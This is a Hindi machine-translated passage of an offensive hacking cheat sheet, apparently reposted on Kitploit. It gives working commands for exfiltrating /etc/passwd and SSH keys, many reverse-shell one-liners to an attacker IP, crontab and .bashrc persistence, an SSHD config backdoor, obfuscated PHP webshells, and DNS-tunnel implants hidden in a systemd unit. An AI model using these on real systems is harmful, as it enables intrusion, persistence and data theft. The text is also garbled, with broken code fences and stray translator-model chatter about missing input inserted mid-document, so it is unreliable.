#### 1 - PHP का उपयोग करके अपलोड करें:

प्राप्तकर्ता पर:```posh
curl -fsSL -o upload_server.php https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/upload_server.php
mkdir upload
(cd upload; php -S 127.0.0.1:8080 ../upload_server.php &>/dev/null &)
cloudflared tunnel --url localhost:8080 --no-autoupdate

प्रेषक पर:```posh

Set a function:

up() { curl -fsSL -F "file=@${1:?}" https://ABOVE-URL-HERE.trycloudflare.com; }

upload files like so:

up warez.tar.gz up /etc/passwd

root@kitploit:~
#### 2 - PYTHON का उपयोग करके अपलोड करें:

रिसीवर पर:```posh
pip install uploadserver
python -m uploadserver &
cloudflared tunnel -url localhost:8000

प्रेषक की ओर:```posh curl -X POST https://CF-URL-CHANGE-ME.trycloudflare.com/upload -F '[email protected]'

root@kitploit:~
---
<a id="download"></a>
### 4.vii. curl के बिना फ़ाइल डाउनलोड

Python का उपयोग करके, केवल डाउनलोड करें:```sh
# Declare a curl-alternative
purl() {
    local url="${1:?}"
    { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}"
    "$(which python3 || which python || which python2 || which false)" -c "\
import urllib.request
import sys
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sys.stdout.buffer.write(urllib.request.urlopen(\"$url\", timeout=10, context=ctx).read())"
}
# purl ipinfo.io

उदाहरण: purl के साथ gsocket स्थापित करना```sh

cut & paste the above purl() function into your bash. Then cut & paste the following:

source <(purl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)
&& bin curl
&& bash -c "$(curl -fsSL https://gsocket.io/y)"
&& xdestruct

root@kitploit:~
OpenSSL का उपयोग करके, केवल डाउनलोड करें:```sh
surl() {
    local r="${1#*://}"
    local opts=("-quiet" "-ign_eof")
    IFS=/ read -r host query <<<"${r}"
    openssl s_client --help 2>&1| grep -qFm1 -- -ignore_unexpected_eof && opts+=("-ignore_unexpected_eof")
    openssl s_client --help 2>&1| grep -qFm1 -- -verify_quiet && opts+=("-verify_quiet")
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host%%:*}\r\n\r\n" \
	| openssl s_client "${opts[@]}" -connect "${host%%:*}:443" \
	| sed '1,/^\r\{0,1\}$/d'
}
# surl ipinfo.io

Perl का उपयोग करके, केवल डाउनलोड करें:```sh lurl() { local url="${1:?}" { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}" perl -e 'use LWP::Simple qw(get); my $url = '"'${1:?}'"'; print(get $url);' }

lurl ipinfo.io

root@kitploit:~
bash का उपयोग करके, केवल डाउनलोड करें:```sh
burl() {
    IFS=/ read -r proto x host query <<<"$1"
    exec 3<>"/dev/tcp/${host}/${PORT:-80}"
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
    (while read -r l; do echo >&2 "$l"; [[ $l == $'\r' ]] && break; done && cat ) <&3
    exec 3>&-
}
# burl http://ipinfo.io
# PORT=31337 burl http://37.120.235.188/blah.tar.gz >blah.tar.gz

4.viii. सार्वजनिक डंप का उपयोग करके फ़ाइल स्थानांतरण

अपने bash में कट और पेस्ट करें:```sh transfer() { [[ $# -eq 0 ]] && { echo -e >&2 "Usage:\n transfer [file/directory]\n transfer [name] <FILENAME"; return 255; } [[ ! -t 0 ]] && { curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1}"; return; } [[ ! -e "$1" ]] && { echo -e >&2 "Not found: $1"; return 255; } [[ -d "$1" ]] && { (cd "${1}/.."; tar cfz - "${1##*/}")|curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1##*/}.tar.gz"; return; } curl -SsfL --progress-bar -T "$1" "https://transfer.sh/${1##*/}" }

root@kitploit:~
फिर एक फ़ाइल या निर्देशिका अपलोड करें:```sh
transfer /etc/passwd  # A single file
transfer ~/.ssh       # An entire directory
(curl ipinfo.io; hostname; uname -a; cat /proc/cpuinfo) | transfer "$(hostname)"

हमारी पसंदीदा सार्वजनिक अपलोड साइटों की सूची।


4.ix. फ़ाइल स्थानांतरण - rsync का उपयोग करके

बड़ी मात्रा में निर्देशिकाओं को सिंक्रनाइज़ करने या टूटे हुए स्थानांतरण को पुनः आरंभ करने के लिए आदर्श। यह उदाहरण 'warez' निर्देशिका को प्रेषक से प्राप्तकर्ता तक एकल TCP कनेक्शन का उपयोग करके स्थानांतरित करता है।

प्राप्तकर्ता:```posh echo -e "[up]\npath=upload\nread only=false\nuid=$(id -u)\ngid=$(id -g)" >r.conf mkdir upload rsync --daemon --port=31337 --config=r.conf --no-detach

root@kitploit:~
प्रेषक:```posh
rsync -av warez rsync://1.2.3.4:31337/up

वही एन्क्रिप्टेड (OpenSSL):

प्राप्तकर्ता:```posh

use rsa:2048 if ed25519 is not supported (e.g. rsync connection error)

openssl req -subj '/CN=example.com/O=EL/C=XX' -new -newkey ed25519 -days 14 -nodes -x509 -keyout ssl.key -out ssl.crt cat ssl.key ssl.crt >ssl.pem rm -f ssl.key ssl.crt mkdir upload cat ssl.pem socat OPENSSL-LISTEN:31337,reuseaddr,fork,cert=ssl.pem,cafile=ssl.pem EXEC:"rsync --server -logtprR --safe-links --partial upload"

root@kitploit:~
प्रेषक:```posh
# Copy the ssl.pem from the Receiver to the Sender and send directory named 'warez'
IP=1.2.3.4
PORT=31337
# Using rsync + socat-ssl
up1() {
   rsync -ahPRv -e "bash -c 'socat - OPENSSL-CONNECT:${IP:?}:${PORT:-31337},cert=ssl.pem,cafile=ssl.pem,verify=0' #" -- "$@"  0:
}
# Using rsync + openssl
up2() {
   rsync -ahPRv -e "bash -c 'openssl s_client -connect ${IP:?}:${PORT:-31337} -servername example.com -cert ssl.pem -CAfile ssl.pem -quiet 2>/dev/null' #" -- "$@"  0:
}
up1 /var/www/./warez
up2 /var/www/./warez

Rsync को https / cloudflared रॉ TCP टनल के माध्यम से exfil करने के लिए जोड़ा जा सकता है।
(Windows से exfil करने के लिए, gsocket windows package से rsync.exe का उपयोग करें)। एक अधिक शोर वाला समाधान syncthing है।

प्रो टिप: आलसी हैकर्स segfault.net पर केवल exfil टाइप करते हैं।


4.x. फ़ाइल ट्रांसफ़र - WebDAV का उपयोग करके

रिसीवर पर (जैसे segfault.net) एक Cloudflare-Tunnel और WebDAV प्रारंभ करें:```sh cloudflared tunnel --url localhost:8080 &

[...]

+--------------------------------------------------------------------------------------------+

| Your quick Tunnel has been created! Visit it at (it may take some time to be reachable): |

| https://example-foo-bar-lights.trycloudflare.com |

+--------------------------------------------------------------------------------------------+

[...]

wsgidav --port=8080 --root=. --auth=anonymous

root@kitploit:~
दूसरे सर्वर पर:```sh
# Upload a file to your workstation
curl -T file.dat https://example-foo-bar-lights.trycloudflare.com
# Create a directory remotely
curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources
# Create a directory hierarchy remotely
find . -type d | xargs -I{} curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources/{}
# Upload all *.c files (in parallel):
find . -name '*.c' | xargs -P10 -I{} curl -T{} https://example-foo-bar-lights.trycloudflare.com/sources/{}

फ़ाइल एक्सप्लोरर में Windows से शेयर एक्सेस करें (फ़ाइलों को खींचने और छोड़ने के लिए):``` \example-foo-bar-lights.trycloudflare.com@SSL\sources

root@kitploit:~
या Windows पर WebDAV शेयर माउंट करें (Z:/):```
net use * \\example-foo-bar-lights.trycloudflare.com@SSL\sources

4.xi. Telegram पर फ़ाइल स्थानांतरण

अपलोड सेवाओं के असंख्य विकल्प हैं, लेकिन TG एक बढ़िया विकल्प है। TG BotFather से एक TG-Bot-Token प्राप्त करें। फिर एक नया TG ग्रुप बनाएँ और अपने बॉट को उस ग्रुप में जोड़ें। उस ग्रुप का chat_id प्राप्त करें:```sh curl -s "https://api.telegram.org/bot/getUpdates" | jq -r '.result[].message.chat.id' | uniq

If you get only {"ok":true,"result":[]} then remove and add the bot again.

root@kitploit:~
इनपुट:```sh
# Upload file.zip straight into the group chat:
curl -sF [email protected] "https://api.telegram.org/bot<TG-BOT-TOKEN>/sendDocument?chat_id=<TG-CHAT-ID>"

5. रिवर्स शेल / डंब शेल

टिप: https://www.revshells.com/ का उपयोग करें 👌

5.i.a. gs-netcat के साथ रिवर्स शेल (एन्क्रिप्टेड)

https://gsocket.io/deploy का उपयोग करके पूरी तरह से कार्यशील PTY रिवर्स शेल को तैनात और एक्सेस करने के लिए एक-लाइनर हेतु 6. बैकडोर देखें।

5.i.b. Bash के साथ रिवर्स शेल

अपने सिस्टम पर पोर्ट 1524 पर सुनने के लिए netcat प्रारंभ करें:```sh nc -nvlp 1524

root@kitploit:~
कनेक्शन के बाद, अपने शेल को पूर्ण रूप से इंटरैक्टिव PTY शेल में [अपग्रेड](#reverse-shell-interactive) करें। वैकल्पिक रूप से नेटकैट के बजाय [pwncat-cs](https://pwncat.org/) का उपयोग करें:```sh
pwncat -lp 1524
# Press "Ctrl-C" if pwncat gets stuck at "registered new host ...".
# Then type "back" to get the prompt of the remote shell.

दूरस्थ सिस्टम पर, यह कमांड आपके सिस्टम (IP = 3.13.3.7, पोर्ट 1524) से वापस कनेक्ट होगा और आपको एक शेल प्रॉम्प्ट देगा:```sh

If the current shell is Bash already:

(bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)

If the current shell is NOT Bash then we need:

bash -c '(exec bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)'

or hide the bash process as 'kqueue'

bash -c '(exec -a kqueue bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)'

root@kitploit:~
वैकल्पिक रूप से, रिमोट सिस्टम पर, इसे `~/.profile` या crontab में डालें ताकि कनेक्ट-बैक शेल को पुनः प्रारंभ किया जा सके (और साथ ही कई इंस्टेंस शुरू होने से रोका जा सके):```sh
fuser /dev/shm/.busy &>/dev/null || (bash -c 'while :; do touch /dev/shm/.busy; exec 3</dev/shm/.busy; bash -i &>/dev/tcp/3.13.3.7/1524 0>&1; sleep 360; done' &>/dev/null &)

5.i.c. cURL के साथ रिवर्स शेल (एन्क्रिप्टेड)

curlshell का उपयोग करें। यह प्रॉक्सी के माध्यम से भी काम करता है और जब बाहरी दुनिया के लिए सीधा TCP कनेक्शन निषिद्ध होता है:```sh

On YOUR workstation

Generate SSL keys:

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"

Start your listening server:

./curlshell.py --certificate cert.pem --private-key key.pem --listen-port 8080

root@kitploit:~
```sh
# On the target:
curl -skfL https://3.13.3.7:8080 | bash

5.i.d cURL के साथ रिवर्स शेल (स्पष्ट पाठ)

एकाधिक कनेक्शन सुनने के लिए ncat प्रारंभ करें:```sh ncat -kltv 1524

root@kitploit:~
```sh
# On the target:
C="curl -Ns telnet://3.13.3.7:1524"; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null

5.i.e. OpenSSL के साथ रिवर्स शेल (एन्क्रिप्टेड)```sh

On YOUR workstation:

Generate SSL keys:

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"

Start your listening server:

openssl s_server -port 1524 -cert cert.pem -key key.pem

Or pwncat:

pwncat -lp 1524 --ssl

root@kitploit:~
## श्रेय और आभार```sh
# On the target, start an openssl reverse shell as background process:
({ openssl s_client -connect 3.13.3.7:1524 -quiet </dev/fd/3 3>&- 2>/dev/null | sh 2>&3 >&3 3>&- ; } 3>&1 | : & )

5.i.f. /dev/tcp के बिना रिवर्स शेल

एम्बेडेड सिस्टम में हमेशा Bash नहीं होता और /dev/tcp/ ट्रिक काम नहीं करेगी। कई अन्य तरीके हैं (Python, PHP, Perl, ..)। हमारा पसंदीदा तरीका netcat अपलोड करके netcat या telnet का उपयोग करना है:

रिमोट सिस्टम पर:```sh nc -e /bin/sh -vn 3.13.3.7 1524

root@kitploit:~
विकल्प यदि *'-e'* समर्थित नहीं है:```sh
{ nc -vn 3.13.3.7 1524 </dev/fd/3 3>&- | sh 2>&3 >&3 3>&- ; } 3>&1 | :
  • आधुनिक शेल्स पर इसे { nc 3.13.3.7 1524 </dev/fd/2|sh;} 2>&1|: में छोटा किया जा सकता है। (IA_PD को धन्यवाद)।
  • | : ट्रिक C-Shell/tcsh (FreeBSD), मूल Bourne shell (Solaris) या Korn shell (AIX) पर काम नहीं करेगी। इसके बजाय mkfifo का उपयोग करें।

पुराने /bin/sh के लिए प्रकार:```sh mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | nc -vn 3.13.3.7 1524 >/tmp/.io

root@kitploit:~
Telnet वेरिएंट:```sh
mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | telnet 3.13.3.7 1524 >/tmp/.io

Telnet वैरिएंट जब mkfifo समर्थित नहीं है (उफ़!):```sh touch /tmp/.fio; tail -f /tmp/.fio | sh -i | telnet 3.13.3.7 31337 >/tmp/.fio

root@kitploit:~
Note: लॉगिन के बाद `rm /tmp/.fio` करना न भूलें।



<a id="revese-shell-remote-moe"></a>
**5.i.h. remote.moe और ssh के साथ रिवर्स शेल (एन्क्रिप्टेड)**

कच्चे TCP (जैसे bash रिवर्स शेल) को [remote.moe](https://remote.moe) के माध्यम से टनल करना संभव है:

अपने वर्कस्टेशन पर:```sh
# First Terminal - Create a remote.moe tunnel to your workstation
ssh-keygen -q -t rsa -N "" -f .r  # New key creates a new remote.moe-address
ssh -i .r -R31337:0:8080 -o StrictHostKeyChecking=no [email protected]; rm -f .r
# Note down the 'remote.moe' address which will look something like
# uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe

# Second Terminal - start listening for the reverse shell
nc -vnlp 8080

लक्ष्य पर (SSH और Bash की आवश्यकता है):```sh bash -c '(killall ssh; rm -f /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r; ssh -i /tmp/.r -o StrictHostKeyChecking=no -L31338:uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 -Nf remote.moe; bash -i &>/dev/tcp/0/31338 0>&1 &)'

root@kitploit:~
लक्ष्य पर (वैकल्पिक; ssh, bash और mkfifo की आवश्यकता है):```sh
rm -f /tmp/.p /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r && mkfifo /tmp/.p && (bash -i</tmp/.p  2>1 |ssh -i /tmp/.r -o StrictHostKeyChecking=no -W uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 remote.moe>/tmp/.p &)

5.i.i. Python के साथ रिवर्स शेल```sh python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("3.13.3.7",1524));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

root@kitploit:~
<a id="reverse-shell-perl"></a>
**5.i.j. Perl के साथ रिवर्स शेल**```sh
# method 1
perl -e 'use Socket;$i="3.13.3.7";$p=1524;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# method 2
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"3.13.3.7:1524");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'

5.i.k. PHP के साथ रिवर्स शेल```sh php -r '$sock=fsockopen("3.13.3.7",1524);exec("/bin/bash -i <&3 >&3 2>&3");'

root@kitploit:~
<a id="reverse-shell-upgrade"></a>
<a id="reverse-shell-pty"></a>
**5.ii.a. रिवर्स शेल को PTY शेल में अपग्रेड करें**

उपरोक्त रिवर्स शेल में से कोई भी सीमित है। उदाहरण के लिए *sudo bash* या *top* काम नहीं करेगा। इन्हें कार्यशील बनाने के लिए हमें शेल को वास्तविक PTY शेल में अपग्रेड करना होगा:```sh
# Using script
exec script -qc /bin/bash /dev/null  # Linux
exec script -q /dev/null /bin/bash   # BSD

" only. The user message ends after "INPUT:". No content. So I have nothing to translate. The rules say "Return ONLY the translated text. No preamble...". If there's no input, what to do? I could output an empty string. But the user might expect something. They ask: "Translate the following Kitploit tool content." but then didn't provide the content. Possibly a mistake. I should just respond with an empty translation (i.e., nothing) or perhaps an error? The prompt instructions: "If the chunk starts mid-paragraph, continue translating from that point. Do not add a leading newline or indent unless it exists in the source." So if there's no source, the translated text is empty. I'll return empty string. That would be consistent with "Return ONLY the translated text." So I'll output nothing, or an empty response. I'll just output nothing. But the model should output something. The best is to output an empty string. I'll respond with empty content.```sh

Using python

exec python -c 'import pty; pty.spawn("/bin/bash")'

root@kitploit:~
<a id="reverse-shell-interactive"></a>
**5.ii.b. रिवर्स शेल को पूर्ण इंटरैक्टिव शेल में अपग्रेड करें**

...और अगर हम Ctrl-C आदि का उपयोग करना चाहते हैं, तो हमें पूरी तरह से जाकर रिवर्स शेल को एक वास्तविक पूर्ण रंगीन इंटरैक्टिव शेल में अपग्रेड करना होगा:```sh
# On the target host spawn a PTY using any of the above examples:
python -c 'import pty; pty.spawn("/bin/bash")'
# Now Press Ctrl-Z to suspend the connection and return to your own terminal.

[No input content provided.]```

On your terminal execute:

stty raw -echo icrnl opost; fg

root@kitploit:~
Please provide the Markdown content to translate.```sh
# On target host
export SHELL=/bin/bash
export TERM=xterm-256color
reset -I
stty -echo;printf "\033[18t";read -rdt R;stty sane $(echo "${R:-8;80;25}"|awk -F";" '{ printf "rows "$3" cols "$2; }')
# Pimp up your prompt
# PS1='USERS=$(who | wc -l) LOAD=$(cut -f1 -d" " /proc/loadavg) PS=$(ps -e --no-headers|wc -l) \[\e[36m\]\u\[\e[m\]@\[\e[32m\]\h:\[\e[33;1m\]\w \[\e[0;31m\]\$\[\e[m\] '
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '

5.ii.c. socat के साथ रिवर्स शेल (पूरी तरह से इंटरैक्टिव)

...या socat इंस्टॉल करें और बिना ज़्यादा उलझे इसे कर लें:```sh

on attacker's host (listener)

socat file:tty,raw,echo=0 tcp-listen:1524

on target host (reverse shell)

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:3.13.3.7:1524

root@kitploit:~
---

<a id="backdoor"></a>
## 6. बैकडोर

सरल 1-लाइनर रिवर्स शेल के लिए [Reverse Shell / Dumb Shell](#reverse-shell) देखें।

<a id="gsnc"></a>
**6.i. gs-netcat का उपयोग करके रिवर्स शेल**

अधिकतर हम gs-netcat के स्वचालित डिप्लॉयमेंट स्क्रिप्ट का उपयोग करते हैं: [https://www.gsocket.io/deploy](https://www.gsocket.io/deploy)।```sh
bash -c "$(curl -fsSLk https://gsocket.io/y)"

या```sh bash -c "$(wget --no-check-certificate -qO- https://gsocket.io/y)"

root@kitploit:~
या अपना स्वयं का डिप्लॉयमेंट सर्वर चलाकर gsocket को डिप्लॉय करें:```sh
LOG=results.log bash -c "$(curl -fsSL https://gsocket.io/ys)"  # Notice '/ys' instead of '/y'

6.ii. sshx.io के साथ रिवर्स शेल (एन्क्रिप्टेड)

अपने वेब ब्राउज़र से एक रिमोट शेल एक्सेस करें https://sshx.io.

sshx-backdoor को सीधे मेमोरी में पाइप करें:```shell echo $(curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null
|nohup perl '-efor(319,279){($f=syscall$_,$",1)>0&&last};open($o,">&=".$f);print$o();exec{"/proc/$$/fd/$f"}"/usr/bin/python3",("-q")' 2>/dev/null
|{ read x;echo "$x";}&)

root@kitploit:~
या साधारण तरीका:```shell
curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null >.s \
&& chmod 755 .s \
&& (PATH=.:$PATH .s -q >.u 2>/dev/null &);
for _ in {1..10}; do [ -s .u ] && break;sleep 1;done;cat .u;rm -f .u .s;

6.iii. सबसे छोटा SSHD बैकडोर

  • apt update के बाद भी बचा रहता है
  • कोई नई फ़ाइल नहीं बनाता।
  • authorized_keys या PAM का उपयोग नहीं करता।

अपनी कुंजी को authorized_keys में जोड़ना बहुत अधिक उपयोग किया जा चुका है 😩। इसके बजाय, root के रूप में, किसी भी लक्ष्य पर यह एक बार काटें और चिपकाएँ। यह SSHD के कॉन्फ़िग में एक पंक्ति जोड़ देगा और आपको हमेशा के लिए लॉग इन करने की अनुमति देगा:```shell backdoor_sshd() { local B="/etc/ssh" local K="${B}/ssh_host_ed25519_key" D="${B}/sshd_config.d" local N=$(cd "${D}" 2>/dev/null|| exit; shopt -s nullglob; echo .conf) [ ! -f "$K" ] && K="${B}/ssh_host_rsa_key" [ -n "$N" ] && N="${N%%.conf}.conf" N="${D}/${N:-50-cloud-init.conf}" [ ! -d "${D}" ] && N="${B}/sshd_config" { [ ! -f "$K" ] || [ ! -f "$K".pub ]; } && return grep -iqm1 '^PermitRootLogin\s+no' "${B}/sshd_config" && echo >&2 "WARN: PermitRootLogin blocking in sshd_config" echo -e "\e[0;31mYour id_ed25519 to log in to this server as any user:\e[0;33m\n$(cat "${K}")\e[0m" grep -qm1 '^AuthorizedKeysFile' "$N" 2>/dev/null && { echo >&2 "WARN: Already backdoored"; return; } echo -e "AuthorizedKeysFile\t.ssh/authorized_keys .ssh/authorized_keys2 ${K}.pub" >>"${N}" || return touch -r "$K" "$N" "$D"
&& declare -F ctime >/dev/null && ctime "$N" "$D" command -v systemctl >/dev/null && { systemctl restart ssh;:;} || service ssh restart } backdoor_sshd

root@kitploit:~
यह कैसे काम करता है:
- SSHD होस्ट कुंजी केवल एक सामान्य ed25519 कुंजी होती है।
- कोई भी ed25519 कुंजी किसी उपयोगकर्ता को प्रमाणित करने के लिए इस्तेमाल की जा सकती है।
- SSHD `~/.ssh/authorized_keys` की जाँच करता है (लेकिन यह ट्रिक बहुत अधिक उपयोग की जा चुकी है)।
- इसके बजाय, SSHD को `/etc/ssh/sshd_host_ed25519_key.pub` की भी जाँच करने के लिए कॉन्फ़िगर करें ताकि लॉगिन-ऑथेंटिकेशन-कुंजियाँ देखी जा सकें।
- SSHD अब वैध लॉगिन कुंजियों के लिए `~/.ssh/authorized_keys` _और_ `/etc/ssh/ssh_host_ed25519_key.pub` की जाँच करेगा।
- लक्ष्य में लॉग इन करने के लिए `/etc/ssh/sshd_host_ed25519_key` गुप्त कुंजी का उपयोग करें।

<a id="backdoor-network"></a>
**6.vi. पूरे नेटवर्क तक दूरस्थ पहुँच**

[gs-netcat](https://github.com/hackerschoice/gsocket) इंस्टॉल करें। यह होस्ट के निजी LAN पर एक SOCKS exit-node बनाता है जो Global Socket Relay Network के माध्यम से सुलभ होता है, बिना अपना खुद का relay-server चलाने की आवश्यकता के (उदाहरण के लिए, अपने वर्कस्टेशन से दूरस्थ निजी LAN तक सीधे पहुँचें):```sh
gs-netcat -l -S       # compromised Host

अब अपने वर्कस्टेशन से आप Host के निजी LAN पर किसी भी होस्ट से कनेक्ट कर सकते हैं:```sh gs-netcat -p 1080 # Your workstation.

Access route.local:22 on the Host's private LAN from your Workstation:

socat - "SOCKS4a:127.1:route.local:22"

root@kitploit:~
पढ़ें [Socks प्रॉक्सी के माध्यम से किसी भी टूल का उपयोग करें](#scan-proxy)।

अन्य तरीके:
* [Gost/Cloudflared](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) - हमारा अपना लेख
* [Reverse Wireguard](https://thc.org/segfault/wireguard) - segfault.net से किसी भी (आंतरिक) नेटवर्क तक।

<a id="php-backdoor"></a>
**6.v. सबसे छोटा PHP बैकडोर**

किसी भी PHP फ़ाइल की शुरुआत में यह पंक्ति जोड़ें:```php
<?php $i=base64_decode("aWYoaXNzZXQoJF9QT1NUWzBdKSl7c3lzdGVtKCRfUE9TVFswXSk7ZGllO30K");eval($i);?>

यह base64 एन्कोडिंग है:```php if(isset($_POST[0])){system($_POST[0]);die;}

root@kitploit:~
बैकडोर का परीक्षण करें:```sh
### 1. Optional: Start a test PHP server
cd /var/www/html && php -S 127.0.0.1:8080
### Without executing a command
curl http://127.0.0.1:8080/test.php
### With executing a command
curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id"

कभी-कभी system() प्रतिबंधित होती है। बैकअप के रूप में रिमोट PHP-कोड निष्पादन की अनुमति देने के लिए eval() जोड़ें। कुछ अस्पष्टता के लिए अन्य base64-टिप्पणियों के भीतर छिपाएँ:```php

root@kitploit:~
इनमें से किसी के साथ ट्रिगर करके कमांड या PHP कोड निष्पादित करें:```shell
# Execute just command
curl http://127.0.0.1:8080/x.php -d0='id'
# Execute just PHP code
curl http://127.0.0.1:8080/x.php -d0='' -d1='echo file_get_contents("/etc/hosts");'

6.vi. सबसे छोटा रिवर्स DNS-टनल बैकडोर

...PHP में:

रिवर्स DNS ट्रिगर का उपयोग करके ऐसे सर्वर पर मनमाने कमांड निष्पादित करें जो सार्वजनिक इंटरनेट से नहीं सुलभ है।

इस पंक्ति को (इम्प्लांट) किसी भी PHP फ़ाइल की शुरुआत में जोड़ें:```php

root@kitploit:~
यह इम्प्लांट `b00m.team-teso.net` डोमेन से DNS TXT-अनुरोध के माध्यम से पेलोड का अनुरोध करता है। ट्रिगर होने पर, यह `/tmp/.b00m` बनाता है और THC को सूचित करता है (app.interactsh.com कॉलबैक के माध्यम से)। *कृपया* अपना स्वयं का डोमेन उपयोग करें और अपना स्वयं का पेलोड भी बनाएं। उदाहरण:```shell
echo -n '@system("{ id; date;}>/tmp/.b00m 2>/dev/null");' |base64 -w0
  • DNS TXT पेलोड 2,048 वर्णों (कभी-कभी 65,535 वर्णों) तक सीमित है।
  • इम्प्लांट एक bootloader है। DNS के माध्यम से बड़े पेलोड को डाउनलोड और निष्पादित करने के लिए while लूप का उपयोग करें।
  • अनाम रूप से डोमेन पंजीकृत करने के लिए हमारे पसंदीदा स्थान देखें। Cloudflare का Free-Tier एक अच्छी शुरुआत है।

...BASH में:

इस इम्प्लांट को लक्ष्य के ~/.bashrc या crontab (demo-paypload) में जोड़ें:```shell

Use a "double bash" to redirect also errors from $()-subshell to /dev/null:

bash -c 'exec bash -c "{ $(dig +short b00m2.team-teso.net TXT|tr -d \ "|base64 -d);}"'&>/dev/null

root@kitploit:~
या डेमो-पेलोड को एक विस्तृत पेलोड के लिए बदलें:
- कमांड निष्पादन के लिए हर घंटे पोल करने हेतु एक पृष्ठभूमि डेमॉन प्रारंभ करता है।
- केवल bash, dig और base64 पर निर्भर करता है।
- `sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups` के रूप में छिपता है।
- उदाहरण फिर से `b00m2.team-teso.net` का उपयोग करता है और हर घंटे /tmp/.b00m बनाता है।

1-लाइन इम्प्लांट उत्पन्न करने के लिए निम्नलिखित को लक्ष्य के शेल में कट & पेस्ट करें:```shell
# If dig does not exists then replace /dig +short.../ with
# /nslookup -q=txt '"$D"'|grep -Fm1 "text ="|sed -E "s|.*text = (.*)|\1|g;s|[\" ]||g"|base64 -d|bash/
# or use the Perl example below.
base64 -w0 >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache${UID}
[ -f $M ]&&exit
touch $M
(echo 'slp(){ local IFS;[ -n "${_sfd:-}" ]||exec {_sfd}<> <(:);read -t$1 -u$_sfd||:;}
slp 1
while :; do
	dig +short '"$D"' TXT|tr -d \ \"|base64 -d|bash
	slp 3600
done'|exec -a "$P" bash &) &>/dev/null
EOF
echo "===> Add the following to the target's ~/.bashrc or cronjob:"$'\n\033[0;36m'"echo $(<x.txt)|base64 -d|bash"$'\033[0m'
rm -f x.txt

स्क्रिप्ट के 1-लाइन परिणाम को लक्ष्य पर किसी भी स्टार्टअप स्क्रिप्ट में जोड़ें (crontab, ~/.bashrc, udev या ExecStartPre= का उपयोग करें)। यहाँ /usr/lib/systemd/system/ssh.service के लिए एक चतुर उदाहरण है (कुछ अतिरिक्त अस्पष्टता के साथ):``` ... [Service] EnvironmentFile=-/etc/default/ssh Environment="SSHD=echo RD1iMDBtMi50ZWFtLXRlc28ubmV0ClA9InNzaGQ6IC91c3Ivc2Jpbi9zc2hkIC1EIFtsaXN0ZW5lcl0gMCBvZiAxMC0xMDAgc3RhcnR1cHMiCk09L2Rldi9zaG0vLmNhY2hlJHtVSUR9ClsgLWYgJE0gXSYmZXhpdAp0b3VjaCAkTQooZWNobyAnc2xwKCl7IGxvY2FsIElGUztbIC1uICIke19zZmQ6LX0iIF18fGV4ZWMge19zZmR9PD4gPCg6KTtyZWFkIC10JDEgLXUkX3NmZHx8Ojt9CnNscCAxCndoaWxlIDo7IGRvCmRpZyArc2hvcnQgJyIkRCInIFRYVHx0ciAtZCBcIFwifGJhc2U2NCAtZHxiYXNoCnNscCAzNjAwCmRvbmUnfGV4ZWMgLWEgIiRQIiBiYXNoICYpICY+L2Rldi9udWxsCg==|base64 -d|bash" ExecStartPre=-bash -c 'eval $SSHD' ExecStartPre=/usr/sbin/sshd -t ExecStart=/usr/sbin/sshd -D $SSHD_OPTS ...

root@kitploit:~
...PERL में:
---
वही लेकिन केवल perl + bash की आवश्यकता है (dig नहीं):```shell
perl -MMIME::Base64 -e '$/=undef;print encode_base64(<>,"")' >x.txt <<-'EOF'
D=b00m2.team-teso.net
